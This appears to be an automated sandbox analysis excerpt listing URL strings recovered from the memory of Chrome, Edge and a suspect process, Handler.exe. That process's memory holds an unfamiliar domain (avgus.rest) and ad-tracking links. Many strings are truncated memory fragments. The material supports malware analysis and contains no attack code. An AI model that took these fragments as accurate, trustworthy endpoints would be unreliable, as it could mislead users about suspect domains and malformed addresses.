Source: chrome.exe, 00000007.00000003.2168865136.00001DFC0354C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172075586.00001DFC03628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2169333797.00001DFC0360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2169393190.00001DFC034D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: chrome.exe, 00000007.00000002.2239904697.00001DFC03BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2234919268.00001DFC028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes
Source: msedge.exe, 0000000B.00000002.2326744447.000002360257A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comse
Source: Handler.exe, 00000001.00000002.2627835905.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avgus.rest
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avgus.rest$
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avgus.rest/
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avgus.restL
Source: Handler.exe, 00000001.00000002.2627835905.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avgus.restd
Source: Handler.exe, 00000001.00000002.2632796447.00000000042FF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2629627670.0000000003B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: Handler.exe, 00000001.00000002.2632796447.00000000042FF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2629627670.0000000003B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: chrome.exe, 00000007.00000002.2228059988.00001DFC026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235126710.00001DFC0291C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238903228.00001DFC031D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000007.00000002.2237191650.00001DFC02DC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172382643.00001DFC02DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: Handler.exe, 00000001.00000002.2629627670.0000000003B5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000007.00000002.2237213528.00001DFC02DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000007.00000002.2237213528.00001DFC02DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: Handler.exe, 00000001.00000002.2629627670.0000000003B5C000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000007.00000002.2236918978.00001DFC02D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000007.00000002.2236918978.00001DFC02D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000007.00000002.2236918978.00001DFC02D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: Handler.exe, 00000001.00000002.2629627670.0000000003B5C000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227322569.00001DFC0260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000007.00000003.2153819653.00001DFC02E80000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000002.2330461548.0000563C0016C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000007.00000002.2234781868.00001DFC0286C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239183044.00001DFC03324000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236456756.00001DFC02BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000007.00000002.2239183044.00001DFC03324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en3
Source: chrome.exe, 00000007.00000002.2239183044.00001DFC03324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=ent
Source: chrome.exe, 00000007.00000003.2155632277.00001DFC02E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2149942617.00001DFC02E80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2151418734.00001DFC03074000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2153139553.00001DFC02E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147790220.00001DFC02E68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147820618.00001DFC02E80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2148596924.00001DFC03074000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2150354509.00001DFC03074000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2153819653.00001DFC02E80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000007.00000002.2244121871.0000305400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2140096398.000030540071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2179198233.0000305400974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000007.00000002.2244121871.0000305400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2140096398.000030540071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2179198233.0000305400974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000007.00000002.2244121871.0000305400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000007.00000003.2181676198.00001DFC03ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2177339052.00001DFC03FC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2244121871.0000305400920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181628885.00001DFC03AA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181519116.00001DFC03AA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2177736275.00001DFC03FC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2177664010.00001DFC03FC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2140096398.000030540071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2179198233.0000305400974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000007.00000002.2225564096.00001DFC02480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000007.00000002.2225564096.00001DFC02480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000007.00000002.2223647781.00001DFC0221C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000002.2330461548.0000563C0016C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000007.00000002.2238267182.00001DFC0303C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000007.00000002.2225242869.00001DFC023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000007.00000002.2225242869.00001DFC023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g%
Source: chrome.exe, 00000007.00000003.2136701741.0000240C002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2136717497.0000240C002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2234695033.00001DFC0281C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235816264.00001DFC02A60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2234808725.00001DFC02880000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2223647781.00001DFC0221C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000002.2329483469.0000563C00040000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000007.00000002.2234695033.00001DFC0281C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxe=?
Source: chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000007.00000002.2236572042.00001DFC02C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000007.00000002.2225242869.00001DFC023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000007.00000002.2225242869.00001DFC023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000007.00000002.2234737900.00001DFC0283C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: Handler.exe, 00000001.00000002.2632796447.00000000042FF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2629627670.0000000003B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Handler.exe, 00000001.00000002.2632796447.00000000042FF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2629627670.0000000003B1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: chrome.exe, 00000007.00000002.2238052882.00001DFC02FBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1
Source: chrome.exe, 00000007.00000002.2236709216.00001DFC02C78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.goog
Source: chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.googl0
Source: chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000007.00000002.2239426835.00001DFC034C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239039977.00001DFC032CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/
Source: chrome.exe, 00000007.00000002.2239346807.00001DFC034AE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000007.00000002.2235525747.00001DFC029AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239346807.00001DFC034AE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2240007192.00001DFC03C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000007.00000002.2240007192.00001DFC03C78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webappfd
Source: chrome.exe, 00000007.00000002.2239346807.00001DFC034AE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000007.00000002.2239039977.00001DFC032CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/dogl
Source: chrome.exe, 00000007.00000002.2240129898.00001DFC03D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239235212.00001DFC0338C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239346807.00001DFC034AE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238903228.00001DFC031D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000007.00000002.2238903228.00001DFC031D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultlt
Source: chrome.exe, 00000007.00000002.2238903228.00001DFC031D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultult
Source: chrome.exe, 00000007.00000002.2239426835.00001DFC034C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/njb
Source: chrome.exe, 00000007.00000002.2238852282.00001DFC031B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235525747.00001DFC029AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227851344.00001DFC026C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235569663.00001DFC029C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000007.00000002.2238852282.00001DFC031B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235525747.00001DFC029AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227851344.00001DFC026C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235569663.00001DFC029C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000007.00000002.2238852282.00001DFC031B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235525747.00001DFC029AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227851344.00001DFC026C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235569663.00001DFC029C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000007.00000002.2240222674.00001DFC03D88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/
Source: chrome.exe, 00000007.00000002.2239346807.00001DFC034AE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000007.00000002.2238267182.00001DFC0303C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235525747.00001DFC029AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239346807.00001DFC034AE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227851344.00001DFC026C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000007.00000002.2239346807.00001DFC034AE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000007.00000002.2240129898.00001DFC03D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237789580.00001DFC02F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239235212.00001DFC0338C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239346807.00001DFC034AE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000007.00000002.2240222674.00001DFC03D88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/ogl
Source: chrome.exe, 00000007.00000002.2228059988.00001DFC026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235126710.00001DFC0291C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238903228.00001DFC031D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000007.00000003.2180629502.00001DFC032C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239039977.00001DFC032CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/
Source: chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000007.00000002.2238267182.00001DFC0303C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000007.00000002.2238267182.00001DFC0303C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webappault#L
Source: chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000007.00000002.2234441826.00001DFC027C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239235212.00001DFC0338C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000007.00000002.2240129898.00001DFC03D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_defaultP
Source: chrome.exe, 00000007.00000002.2239235212.00001DFC0338C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_defaultjb
Source: chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/ogl
Source: chrome.exe, 00000007.00000002.2228059988.00001DFC026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235126710.00001DFC0291C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238903228.00001DFC031D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp
Source: chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.c
Source: chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.go
Source: chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000007.00000003.2154259268.00001DFC02668000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237344302.00001DFC02E30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000007.00000002.2237151898.00001DFC02D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000007.00000003.2172294370.00001DFC032C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239426835.00001DFC034C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237151898.00001DFC02D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238001703.00001DFC02FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000007.00000002.2239426835.00001DFC034C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2ation.Result
Source: chrome.exe, 00000007.00000002.2239426835.00001DFC034C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2d
Source: chrome.exe, 00000007.00000003.2172294370.00001DFC032C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2oogleapis.com/
Source: chrome.exe, 00000007.00000002.2237151898.00001DFC02D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000007.00000002.2238267182.00001DFC0303C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237316309.00001DFC02E18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237151898.00001DFC02D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236629833.00001DFC02C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000007.00000002.2236629833.00001DFC02C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_defaultx
Source: chrome.exe, 00000007.00000002.2237213528.00001DFC02DD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
